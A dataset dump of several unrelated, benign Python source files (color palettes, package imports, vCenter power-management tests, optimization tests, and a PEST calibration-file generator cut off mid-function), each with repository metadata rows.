(101, 204, 107),
(101, 204, 110),
(101, 204, 113),
(101, 204, 116),
(101, 204, 119),
(101, 204, 122),
(101, 204, 125),
(101, 204, 128),
(101, 204, 131),
(101, 204, 134),
(101, 204, 137),
(101, 204, 140),
(101, 204, 143),
(101, 204, 146),
(101, 204, 149),
(101, 204, 152),
(101, 204, 155),
(101, 204, 158),
(101, 204, 161),
(101, 204, 164),
(101, 204, 167),
(101, 204, 170),
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(101, 204, 176),
(101, 204, 179),
(101, 204, 182),
(101, 204, 185),
(101, 204, 188),
(101, 204, 191),
(101, 204, 194),
(101, 204, 197),
(101, 204, 200),
(101, 204, 204),
(101, 200, 204),
(101, 197, 204),
(101, 194, 204),
(101, 191, 204),
(101, 188, 204),
(101, 185, 204),
(101, 182, 204),
(101, 179, 204),
(101, 176, 204),
(101, 173, 204),
(101, 170, 204),
(101, 167, 204),
(101, 164, 204),
(101, 161, 204),
(101, 158, 204),
(101, 155, 204),
(101, 152, 204),
(101, 149, 204),
(101, 146, 204),
(101, 143, 204),
(101, 140, 204),
(101, 137, 204),
(101, 134, 204),
(101, 131, 204),
(101, 128, 204),
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220: [(204, 101, 101),
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(204, 101, 109),
(204, 101, 106),
(204, 101, 104)]}
def categories_10(nb_colors):
if nb_colors <= 10:
return [format_color(c) for c in _colors_categories_10[nb_colors]]
elif nb_colors <= 256:
return [format_color(c) for c in _color_categories_256[nb_colors]]
else:
return [format_color(_color_categories_256[256][i % 256])
for i in range(nb_colors)]
def categories_256(nb_colors):
if nb_colors <= 256:
return [format_color(c) for c in _color_categories_256[nb_colors]]
else:
return [format_color(_color_categories_256[256][i % 256])
for i in range(nb_colors)]
def linear_purple(nb_colors):
return [format_color(c) for c in sns.cubehelix_palette(nb_colors)]
def linear_blue_red(nb_colors):
return [format_color(c) for c in sns.color_palette("coolwarm", nb_colors)]
def linear_blue(nb_colors):
return [format_color(c)
for c in sns.color_palette(palette="Blues", n_colors=nb_colors)]
palette_from_name_to_function = {
'categories_10': categories_10,
'categories_256': categories_256,
'linear_purple': linear_purple,
'linear_blue_red': linear_blue_red,
'linear_blue': linear_blue,
}
| 23.881637 | 78 | 0.378797 | 99,321 | 787,091 | 3.001138 | 0.003 | 0.331466 | 0.016063 | 0.021176 | 0.993827 | 0.980237 | 0.979408 | 0.970179 | 0.959339 | 0.958182 | 0 | 0.640834 | 0.410703 | 787,091 | 32,957 | 79 | 23.882362 | 0.001807 | 0.000088 | 0 | 0.990225 | 0 | 0 | 0.0001 | 0 | 0 | 0 | 0 | 0.00003 | 0 | 1 | 0.000152 | false | 0 | 0.000061 | 0.000091 | 0.000455 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
dee209e23c751534c2f020dd5f67947828312f1b | 489 | py | Python | knx_stack/decode/layer/transport/__init__.py | majamassarini/knx-stack | 11a9baac6b7600649b5fbca43c93b200b23676b4 | [
"MIT"
] | 2 | 2021-07-28T07:42:28.000Z | 2022-01-25T18:56:05.000Z | knx_stack/decode/layer/transport/__init__.py | majamassarini/knx-stack | 11a9baac6b7600649b5fbca43c93b200b23676b4 | [
"MIT"
] | 6 | 2021-07-25T21:36:01.000Z | 2022-02-20T21:11:31.000Z | knx_stack/decode/layer/transport/__init__.py | majamassarini/knx-stack | 11a9baac6b7600649b5fbca43c93b200b23676b4 | [
"MIT"
] | null | null | null | from knx_stack.decode.layer.transport import t_connect
from knx_stack.decode.layer.transport import t_data_broadcast
from knx_stack.decode.layer.transport import t_data_connected
from knx_stack.decode.layer.transport import t_data_group
from knx_stack.decode.layer.transport import t_data_individual
from knx_stack.decode.layer.transport import t_data_system_broadcast
from knx_stack.decode.layer.transport import t_data_tag_group
from knx_stack.decode.layer.transport import t_disconnect
| 54.333333 | 68 | 0.885481 | 80 | 489 | 5.1125 | 0.2125 | 0.136919 | 0.234719 | 0.352078 | 0.889976 | 0.889976 | 0.889976 | 0.889976 | 0.794621 | 0.254279 | 0 | 0 | 0.06544 | 489 | 8 | 69 | 61.125 | 0.894967 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 11 |
720a3a63f3dcad5a57841a6f3e23602ecc7911c5 | 95 | py | Python | verifai/__init__.py | jst-qaml/VerifAI | d91bc1289d720c055a36fa0e1ad9f68b986ca1a4 | [
"BSD-3-Clause"
] | null | null | null | verifai/__init__.py | jst-qaml/VerifAI | d91bc1289d720c055a36fa0e1ad9f68b986ca1a4 | [
"BSD-3-Clause"
] | null | null | null | verifai/__init__.py | jst-qaml/VerifAI | d91bc1289d720c055a36fa0e1ad9f68b986ca1a4 | [
"BSD-3-Clause"
] | null | null | null | from verifai.features import *
from verifai.samplers import *
from verifai.simulators import *
| 23.75 | 32 | 0.810526 | 12 | 95 | 6.416667 | 0.5 | 0.428571 | 0.441558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126316 | 95 | 3 | 33 | 31.666667 | 0.927711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
9d0486e6414b2d309dc9ce407252ebdc2a167322 | 650 | py | Python | api/node/tasks.py | klebed/esdc-ce | 2c9e4591f344247d345a83880ba86777bb794460 | [
"Apache-2.0"
] | 97 | 2016-11-15T14:44:23.000Z | 2022-03-13T18:09:15.000Z | api/node/tasks.py | klebed/esdc-ce | 2c9e4591f344247d345a83880ba86777bb794460 | [
"Apache-2.0"
] | 334 | 2016-11-17T19:56:57.000Z | 2022-03-18T10:45:53.000Z | api/node/tasks.py | klebed/esdc-ce | 2c9e4591f344247d345a83880ba86777bb794460 | [
"Apache-2.0"
] | 33 | 2017-01-02T16:04:13.000Z | 2022-02-07T19:20:24.000Z | # noinspection PyUnresolvedReferences
from api.node.status.tasks import * # noqa: F401,F403
# noinspection PyUnresolvedReferences
from api.node.sysinfo.tasks import * # noqa: F401,F403
# noinspection PyUnresolvedReferences
from api.node.snapshot.tasks import * # noqa: F401,F403
# noinspection PyUnresolvedReferences
from api.node.image.tasks import * # noqa: F401,F403
# noinspection PyUnresolvedReferences
from api.node.sshkey.tasks import * # noqa: F401,F403
# noinspection PyUnresolvedReferences
from api.node.vm.tasks import * # noqa: F401,F403
# noinspection PyUnresolvedReferences
from api.node.network.tasks import * # noqa: F401,F403
| 43.333333 | 56 | 0.795385 | 77 | 650 | 6.714286 | 0.220779 | 0.460348 | 0.514507 | 0.555126 | 0.920696 | 0.789168 | 0.789168 | 0.789168 | 0.789168 | 0.789168 | 0 | 0.073298 | 0.118462 | 650 | 14 | 57 | 46.428571 | 0.82897 | 0.558462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 12 |
19d7cce5afbadd43fece4d146dfb27377702f20b | 154 | py | Python | Latest/venv/Lib/site-packages/pyface/ui/wx/beep.py | adamcvj/SatelliteTracker | 49a8f26804422fdad6f330a5548e9f283d84a55d | [
"Apache-2.0"
] | 1 | 2022-01-09T20:04:31.000Z | 2022-01-09T20:04:31.000Z | Latest/venv/Lib/site-packages/pyface/ui/wx/beep.py | adamcvj/SatelliteTracker | 49a8f26804422fdad6f330a5548e9f283d84a55d | [
"Apache-2.0"
] | 1 | 2022-02-15T12:01:57.000Z | 2022-03-24T19:48:47.000Z | Latest/venv/Lib/site-packages/pyface/ui/wx/beep.py | adamcvj/SatelliteTracker | 49a8f26804422fdad6f330a5548e9f283d84a55d | [
"Apache-2.0"
] | null | null | null | # Copyright 2012 Philip Chimento
"""Sound the system bell, Wx implementation."""
import wx
def beep():
"""Sound the system bell."""
wx.Bell()
| 14 | 47 | 0.649351 | 20 | 154 | 5 | 0.65 | 0.16 | 0.28 | 0.36 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032787 | 0.207792 | 154 | 10 | 48 | 15.4 | 0.786885 | 0.623377 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
dfb3ba73b4e7a5b169ea157f0dc5782b6a1aa535 | 1,211 | py | Python | tests/operators/dynamic_shape/test_add.py | laekov/akg | 5316b8cb2340bbf71bdc724dc9d81513a67b3104 | [
"Apache-2.0"
] | 1 | 2020-08-31T02:43:43.000Z | 2020-08-31T02:43:43.000Z | tests/operators/dynamic_shape/test_add.py | laekov/akg | 5316b8cb2340bbf71bdc724dc9d81513a67b3104 | [
"Apache-2.0"
] | null | null | null | tests/operators/dynamic_shape/test_add.py | laekov/akg | 5316b8cb2340bbf71bdc724dc9d81513a67b3104 | [
"Apache-2.0"
] | null | null | null | import boot
import pytest
@pytest.mark.add
@pytest.mark.level0
@pytest.mark.env_oncard
@pytest.mark.platform_x86_ascend_training
def test_add():
boot.run("test_resnet50_add_000", "add_run", ([32, 128, 7, 7, 16], [32, 128, 7, 7, 16], "float32", "cce_add_fp32"), "dynamic")
boot.run("test_resnet50_add_001", "add_run", ([32, 16, 56, 56, 16], [32, 16, 56, 56, 16], "float32", "cce_add_fp32"), "dynamic")
boot.run("test_resnet50_add_002", "add_run", ([32, 32, 28, 28, 16], [32, 32, 28, 28, 16], "float32", "cce_add_fp32"), "dynamic")
boot.run("test_resnet50_add_003", "add_run", ([32, 64, 14, 14, 16], [32, 64, 14, 14, 16], "float32", "cce_add_fp32"), "dynamic")
boot.run("test_resnet50_add_004", "add_run", ([32, 128, 7, 7, 16], [32, 128, 7, 7, 16], "float16", "cce_add_fp16"), "dynamic")
boot.run("test_resnet50_add_005", "add_run", ([32, 16, 56, 56, 16], [32, 16, 56, 56, 16], "float16", "cce_add_fp16"), "dynamic")
boot.run("test_resnet50_add_006", "add_run", ([32, 32, 28, 28, 16], [32, 32, 28, 28, 16], "float16", "cce_add_fp16"), "dynamic")
boot.run("test_resnet50_add_007", "add_run", ([32, 64, 14, 14, 16], [32, 64, 14, 14, 16], "float16", "cce_add_fp16"), "dynamic")
| 67.277778 | 132 | 0.630884 | 207 | 1,211 | 3.434783 | 0.183575 | 0.078762 | 0.123769 | 0.213783 | 0.804501 | 0.773558 | 0.739803 | 0.739803 | 0.739803 | 0.739803 | 0 | 0.221477 | 0.138728 | 1,211 | 17 | 133 | 71.235294 | 0.460211 | 0 | 0 | 0 | 0 | 0 | 0.357025 | 0.138843 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | true | 0 | 0.133333 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
a0397ae93dc809415d16589aba7c2a789afd4c18 | 39 | py | Python | tests/t75.py | jplevyak/pyc | 9f4bc49be78ba29427841460945ce63826fcd857 | [
"BSD-3-Clause"
] | 3 | 2019-08-21T22:01:35.000Z | 2021-07-25T00:21:28.000Z | tests/t75.py | jplevyak/pyc | 9f4bc49be78ba29427841460945ce63826fcd857 | [
"BSD-3-Clause"
] | null | null | null | tests/t75.py | jplevyak/pyc | 9f4bc49be78ba29427841460945ce63826fcd857 | [
"BSD-3-Clause"
] | null | null | null | x = (1, 2, 3)
(a, b, c) = x
print a, b
| 9.75 | 13 | 0.384615 | 11 | 39 | 1.363636 | 0.727273 | 0.266667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 0.333333 | 39 | 3 | 14 | 13 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.333333 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a03f3b438923a12b2f1f71298be965688c754812 | 5,934 | py | Python | package/cloudshell/tests/test_commands/test_power_management_vm.py | DYeag/vCenterShell | e2e24cd938a92a68f4a8e6a860810d3ef72aae6d | [
"Apache-2.0"
] | 20 | 2015-12-06T10:19:27.000Z | 2020-08-05T06:19:46.000Z | package/cloudshell/tests/test_commands/test_power_management_vm.py | DYeag/vCenterShell | e2e24cd938a92a68f4a8e6a860810d3ef72aae6d | [
"Apache-2.0"
] | 956 | 2015-12-06T13:00:17.000Z | 2021-03-31T23:54:51.000Z | package/cloudshell/tests/test_commands/test_power_management_vm.py | DYeag/vCenterShell | e2e24cd938a92a68f4a8e6a860810d3ef72aae6d | [
"Apache-2.0"
] | 26 | 2015-12-06T15:24:17.000Z | 2020-09-16T09:27:03.000Z | from unittest import TestCase
from mock import Mock
from pyVmomi import vim
from cloudshell.cp.vcenter.commands.power_manager_vm import VirtualMachinePowerManagementCommand
class TestVirtualMachinePowerManagementCommand(TestCase):
def test_power_off_already(self):
vm_uuid = 'uuid'
si = Mock(spec=vim.ServiceInstance)
vm = Mock(spec=vim.VirtualMachine)
vm.summary = Mock()
vm.summary.runtime = Mock()
vm.summary.runtime.powerState = 'poweredOff'
session = Mock()
pv_service = Mock()
pv_service.find_by_uuid = Mock(return_value=vm)
power_manager = VirtualMachinePowerManagementCommand(pv_service, Mock())
# act
res = power_manager.power_off(si=si,
logger=Mock(),
session=session,
vcenter_data_model=Mock(),
vm_uuid=vm_uuid,
resource_fullname=None)
# assert
self.assertTrue(res, 'Already powered off')
self.assertFalse(vm.PowerOn.called)
def test_power_on_already(self):
vm_uuid = 'uuid'
si = Mock(spec=vim.ServiceInstance)
vm = Mock(spec=vim.VirtualMachine)
vm.summary = Mock()
vm.summary.runtime = Mock()
vm.summary.runtime.powerState = 'poweredOn'
session = Mock()
pv_service = Mock()
pv_service.find_by_uuid = Mock(return_value=vm)
power_manager = VirtualMachinePowerManagementCommand(pv_service, Mock())
# act
res = power_manager.power_on(si=si,
logger=Mock(),
session=session,
vm_uuid=vm_uuid,
resource_fullname=None)
# assert
self.assertTrue(res, 'Already powered on')
self.assertFalse(vm.PowerOn.called)
def test_power_on(self):
# arrange
vm_uuid = 'uuid'
si = Mock(spec=vim.ServiceInstance)
vm = Mock(spec=vim.VirtualMachine)
session = Mock()
pv_service = Mock()
pv_service.find_by_uuid = Mock(return_value=vm)
task = Mock()
vm.PowerOn = Mock(return_value=task)
synchronous_task_waiter = Mock()
synchronous_task_waiter.wait_for_task = Mock(return_value=True)
power_manager = VirtualMachinePowerManagementCommand(pv_service, synchronous_task_waiter)
# act
res = power_manager.power_on(si=si,
logger=Mock(),
session=session,
vm_uuid=vm_uuid,
resource_fullname=None)
# assert
self.assertTrue(res)
self.assertTrue(synchronous_task_waiter.wait_for_task.called_with(task))
self.assertTrue(vm.PowerOn.called)
def test_power_off_soft(self):
# arrange
vcenter_name = 'vcenter name'
vm_uuid = 'uuid'
session = Mock()
si = Mock(spec=vim.ServiceInstance)
vm = Mock(spec=vim.VirtualMachine)
task = Mock()
pv_service = Mock()
pv_service.find_by_uuid = Mock(return_value=vm)
vm.PowerOff = Mock(return_value=task)
synchronous_task_waiter = Mock()
synchronous_task_waiter.wait_for_task = Mock(return_value=True)
power_manager = VirtualMachinePowerManagementCommand(pv_service, synchronous_task_waiter)
power_manager._connect_to_vcenter = Mock(return_value=si)
power_manager._get_vm = Mock(return_value=vm)
vcenter = Mock()
vcenter.shutdown_method = 'soft'
# act
res = power_manager.power_off(si=si,
logger=Mock(),
session=session,
vcenter_data_model=vcenter,
vm_uuid=vm_uuid,
resource_fullname=None)
# assert
self.assertTrue(res)
self.assertTrue(vm.ShutdownGuest.called)
self.assertTrue(power_manager._connect_to_vcenter.called_with(vcenter_name))
self.assertTrue(power_manager._get_vm.called_with(si, vm_uuid))
self.assertTrue(synchronous_task_waiter.wait_for_task.called_with(task))
def test_power_off_hard(self):
# arrange
vcenter_name = 'vcenter name'
vm_uuid = 'uuid'
session = Mock()
si = Mock(spec=vim.ServiceInstance)
vm = Mock(spec=vim.VirtualMachine)
task = Mock()
pv_service = Mock()
pv_service.find_by_uuid = Mock(return_value=vm)
vm.PowerOff = Mock(return_value=task)
synchronous_task_waiter = Mock()
synchronous_task_waiter.wait_for_task = Mock(return_value=True)
power_manager = VirtualMachinePowerManagementCommand(pv_service, synchronous_task_waiter)
power_manager._connect_to_vcenter = Mock(return_value=si)
power_manager._get_vm = Mock(return_value=vm)
vcenter = Mock()
vcenter.shutdown_method = 'hard'
# act
res = power_manager.power_off(si=si,
logger=Mock(),
session=session,
vcenter_data_model=vcenter,
vm_uuid=vm_uuid,
resource_fullname=None)
# assert
self.assertTrue(res)
self.assertTrue(vm.PowerOff.called)
self.assertTrue(power_manager._connect_to_vcenter.called_with(vcenter_name))
self.assertTrue(power_manager._get_vm.called_with(si, vm_uuid))
self.assertTrue(synchronous_task_waiter.wait_for_task.called_with(task))
| 37.0875 | 97 | 0.580721 | 607 | 5,934 | 5.38715 | 0.118616 | 0.069725 | 0.068807 | 0.036391 | 0.894801 | 0.894801 | 0.886544 | 0.886544 | 0.886544 | 0.859633 | 0 | 0 | 0.338895 | 5,934 | 159 | 98 | 37.320755 | 0.833546 | 0.013145 | 0 | 0.822034 | 0 | 0 | 0.018487 | 0 | 0 | 0 | 0 | 0 | 0.144068 | 1 | 0.042373 | false | 0 | 0.033898 | 0 | 0.084746 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a06a80f462139baa81e14eeb5de05624a22b9c73 | 2,400 | py | Python | tests/optimization/MultiObjectiveOptimization/test__add_objective_variable.py | eragasa/mexm-base | c8d84057c483e1bd06bb8b2e835274f6a4cd61b9 | [
"MIT"
] | 1 | 2021-01-03T21:30:47.000Z | 2021-01-03T21:30:47.000Z | tests/optimization/MultiObjectiveOptimization/test__add_objective_variable.py | eragasa/mexm-base | c8d84057c483e1bd06bb8b2e835274f6a4cd61b9 | [
"MIT"
] | null | null | null | tests/optimization/MultiObjectiveOptimization/test__add_objective_variable.py | eragasa/mexm-base | c8d84057c483e1bd06bb8b2e835274f6a4cd61b9 | [
"MIT"
] | null | null | null | import pytest
from collections import OrderedDict
from moo import MultiObjectiveOptimization
def dev__add_objective_variable():
moo = MultiObjectiveOptimization()
moo.add_objective_variable(name='obj_1',
optimization_type='min'
)
moo.add_objective_variable(name='obj_2',
optimization_type='max'
)
print(moo.objective_variables)
def test__add_objective_variable__type_min():
obj_var_name = 'obj_1'
obj_opt_type = 'min'
obj_constraints = []
moo = MultiObjectiveOptimization()
moo.add_objective_variable(name=obj_var_name,
optimization_type=obj_opt_type)
assert isinstance(moo.objective_variables, OrderedDict)
assert obj_var_name in moo.objective_variables
assert moo.objective_variables[obj_var_name]['optimization_type'] \
== obj_opt_type
assert moo.objective_variables[obj_var_name]['constraints'] \
== obj_constraints
def test__add_objective_variable__type_max():
obj_var_name = 'obj_2'
obj_opt_type = 'max'
obj_constraints = []
moo = MultiObjectiveOptimization()
moo.add_objective_variable(name=obj_var_name,
optimization_type=obj_opt_type)
assert isinstance(moo.objective_variables, OrderedDict)
assert obj_var_name in moo.objective_variables
assert moo.objective_variables[obj_var_name]['optimization_type'] \
== obj_opt_type
assert moo.objective_variables[obj_var_name]['constraints'] \
== obj_constraints
def test__add_objective_variable__type_invalid():
obj_var_name = 'obj_2'
obj_opt_type = 'invalid'
obj_constraints = []
moo = MultiObjectiveOptimization()
with pytest.raises(AssertionError):
moo.add_objective_variable(name=obj_var_name,
optimization_type=obj_opt_type)
def dev__add_objective_variable():
moo = MultiObjectiveOptimization()
moo.add_objective_variable(name='obj_1',
optimization_type='min'
)
moo.add_objective_variable(name='obj_2',
optimization_type='max'
)
print(moo.objective_variables)
if __name__ == '__main__':
dev__add_objective_variable()
| 34.782609 | 71 | 0.652917 | 254 | 2,400 | 5.673228 | 0.137795 | 0.108258 | 0.18043 | 0.111728 | 0.834143 | 0.834143 | 0.81263 | 0.81263 | 0.77932 | 0.77932 | 0 | 0.004002 | 0.27125 | 2,400 | 68 | 72 | 35.294118 | 0.819897 | 0 | 0 | 0.701754 | 0 | 0 | 0.051667 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 1 | 0.087719 | false | 0 | 0.052632 | 0 | 0.140351 | 0.035088 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
263ec919fd3914d5de37c9ed1ab77f73d04c2f48 | 16,163 | py | Python | spowtd/pestfiles.py | alex-cobb/python-spowtd | b841ce63a4ed168a6e1b4e17b689d8be9dc11318 | [
"BSD-2-Clause"
] | null | null | null | spowtd/pestfiles.py | alex-cobb/python-spowtd | b841ce63a4ed168a6e1b4e17b689d8be9dc11318 | [
"BSD-2-Clause"
] | null | null | null | spowtd/pestfiles.py | alex-cobb/python-spowtd | b841ce63a4ed168a6e1b4e17b689d8be9dc11318 | [
"BSD-2-Clause"
] | 2 | 2021-10-14T14:38:43.000Z | 2022-03-21T16:21:06.000Z | """Generate files for calibration with PEST
"""
import os
import yaml
def generate_rise_pestfiles(connection, parameter_file,
outfile_type, configuration_file,
outfile, precision=17):
"""Generate PEST files for calibration against rise curve
"""
assert outfile_type in ('tpl', 'ins', 'pst'), outfile_type
parameters = yaml.safe_load(parameter_file)
check_parameters(parameters)
{'tpl': generate_rise_tpl_file,
'ins': generate_rise_ins_file,
'pst': generate_rise_pst_file}[outfile_type](
connection=connection,
parameters=parameters,
configuration=({} if configuration_file is None
else yaml.safe_load(configuration_file)),
outfile=outfile,
precision=precision)
def generate_curves_pestfiles(connection, parameter_file,
outfile_type, configuration_file,
outfile, precision=17):
"""Generate PEST files for calibration against master curves
"""
assert outfile_type in ('tpl', 'ins', 'pst'), outfile_type
{'tpl': generate_curves_tpl_file,
'ins': generate_curves_ins_file,
'pst': generate_curves_pst_file}[outfile_type](
connection=connection,
parameters=yaml.safe_load(parameter_file),
configuration=({} if configuration_file is None
else yaml.safe_load(configuration_file)),
outfile=outfile,
precision=precision)
def generate_rise_tpl_file(connection, parameters, configuration,
outfile, precision):
"""Generate template file for calibration against rise curve
"""
lines = ['ptf @',
'specific_yield:']
if parameters['specific_yield']['type'] == 'peatclsm':
lines += [' type: peatclsm',
' sd: @sd @',
' theta_s: @theta_s @',
' b: @b @',
' psi_s: @psi_s @']
else:
assert parameters['specific_yield']['type'] == 'spline'
lines += [' type: spline',
' zeta_knots_mm:']
lines += [' - {}'.format(value)
for value in
parameters['specific_yield']['zeta_knots_mm']]
lines += [' sy_knots: # Specific yield, dimensionless']
lines += [' - @s{}@'.format(str(i).ljust(23))
for i in
range(1,
len(parameters['specific_yield']['sy_knots']) + 1)]
lines += ['transmissivity:']
if parameters['transmissivity']['type'] == 'peatclsm':
lines += [' type: peatclsm',
' Ksmacz0: {} # m/s'.format(
parameters['transmissivity']['Ksmacz0']),
' alpha: {} # dimensionless'.format(
parameters['transmissivity']['alpha']),
' zeta_max_cm: {}'.format(
parameters['transmissivity']['zeta_max_cm'])]
else:
assert parameters['transmissivity']['type'] == 'spline'
lines += [' type: spline']
lines += [' zeta_knots_mm:']
lines += [' - {}'.format(value)
for value in
parameters['transmissivity']['zeta_knots_mm']]
lines += [' K_knots_km_d: # Conductivity, km /d']
lines += [' - {}'.format(value)
for value in
parameters['transmissivity']['K_knots_km_d']]
lines += [' minimum_transmissivity_m2_d: {} '
'# Minimum transmissivity, m2 /d'
.format(parameters['transmissivity'][
'minimum_transmissivity_m2_d'])]
outfile.write(os.linesep.join(lines))
def generate_rise_ins_file(connection, parameters, configuration,
outfile, precision):
"""Generate instruction file for calibration against rise curve
"""
cursor = connection.cursor()
cursor.execute("""
SELECT count(distinct zeta_number)
FROM rising_interval_zeta""")
n_zeta = cursor.fetchone()[0]
cursor.close()
lines = ['pif @',
'@# Rise curve simulation vector@']
lines += ['l1 [e{}]3:24'.format(i + 1)
for i in range(n_zeta)]
outfile.write(os.linesep.join(lines))
def generate_rise_pst_file(connection, parameters, configuration,
outfile, precision):
"""Generate control file for calibration against rise curve
"""
# See Example 11.3 in pestman and Preface of addendum
parameterization = parameters['specific_yield']['type']
if parameterization not in ('peatclsm', 'spline'):
raise ValueError('Unrecognized parameterization "{}"'
.format(parameterization))
if parameterization == 'spline':
npar = len(parameters['specific_yield']['sy_knots'])
npargp = 1 # One parameter group
else:
npar = 4
npargp = 4 # A parameter group for each parameter
cursor = connection.cursor()
cursor.execute("""
SELECT count(distinct zeta_number)
FROM rising_interval_zeta""")
n_zeta = cursor.fetchone()[0]
cursor.execute("""
SELECT mean_crossing_depth_mm AS dynamic_storage_mm
FROM average_rising_depth
ORDER BY zeta_mm""")
avg_storage_mm = [row[0] for row in cursor.fetchall()]
cursor.close()
nobsgp = 1 # 1 observation group
lines = [
'pcf',
'* control data',
'restart estimation',
('{}{}{} 0{}'
.format(str(npar).rjust(5),
str(n_zeta).rjust(6),
str(npargp).rjust(6),
str(nobsgp).rjust(6))),
' 1 1 double point 1 0 0',
' 5.0 2.0 0.3 0.03 10',
' 3.0 3.0 0.001 0',
' 0.1',
' 30 0.01 4 3 0.01 3',
' 1 1 1']
if parameterization == 'spline':
lines += [
'* parameter groups',
'sy_knot relative 0.01 0.0 switch 2.0 parabolic',
'* parameter data']
lines += [
'sy_knot_{} none relative NaN 0.01 1 sy_knot 1.0 0.0 1'
.format(i + 1) for i in range(npar)]
else:
lines += [
'* parameter groups',
'sd relative 0.01 0.0 switch 2.0 parabolic',
'theta_s relative 0.01 0.0 switch 2.0 parabolic',
'b relative 0.01 0.0 switch 2.0 parabolic',
'psi_s relative 0.01 0.0 switch 2.0 parabolic']
lines += [
'* parameter data',
'sd none relative NaN 0.0 2.0 sd 1.0 0.0 1',
'theta_s none relative NaN 0.01 1 theta_s 1.0 0.0 1',
'b none relative NaN 0.01 20.0 b 1.0 0.0 1',
'psi_s none relative NaN -1.0 -0.01 psi_s 1.0 0.0 1']
lines += [
'* observation groups',
'storageobs']
lines += [
'* observation data']
lines += [
('e{{}} {{:0.{}g}} 1.0 storageobs'
.format(precision)
.format(i + 1, W))
for i, W in enumerate(avg_storage_mm)]
lines += [
'* model command line',
# XXX
'bash simulate-rise.sh']
lines += [
'* model input/output',
# XXX
'rise_pars.yml.tpl rise_pars.yml',
'rise_observations.ins rise_observations.yml']
lines += [
'* prior information']
outfile.write(os.linesep.join(lines))
def generate_curves_tpl_file(connection, parameters, configuration,
outfile, precision):
"""Generate template file for calibration against master curves
"""
lines = ['ptf @',
'specific_yield:']
if parameters['specific_yield']['type'] == 'peatclsm':
lines += [' type: peatclsm',
' sd: @sd @',
' theta_s: @theta_s @',
' b: @b @',
' psi_s: @psi_s @']
else:
assert parameters['specific_yield']['type'] == 'spline'
lines += [' type: spline',
' zeta_knots_mm:']
lines += [' - {}'.format(value)
for value in
parameters['specific_yield']['zeta_knots_mm']]
lines += [' sy_knots: # Specific yield, dimensionless']
lines += [' - @s{}@'.format(str(i).ljust(23))
for i in
range(1,
len(parameters['specific_yield']['sy_knots']) + 1)]
lines += ['transmissivity:']
if parameters['transmissivity']['type'] == 'peatclsm':
lines += [' type: peatclsm',
' Ksmacz0: @Ksmacz0 @ # m/s',
' alpha: @alpha @ # dimensionless',
' zeta_max_cm: {}'.format(
parameters['transmissivity']['zeta_max_cm'])]
else:
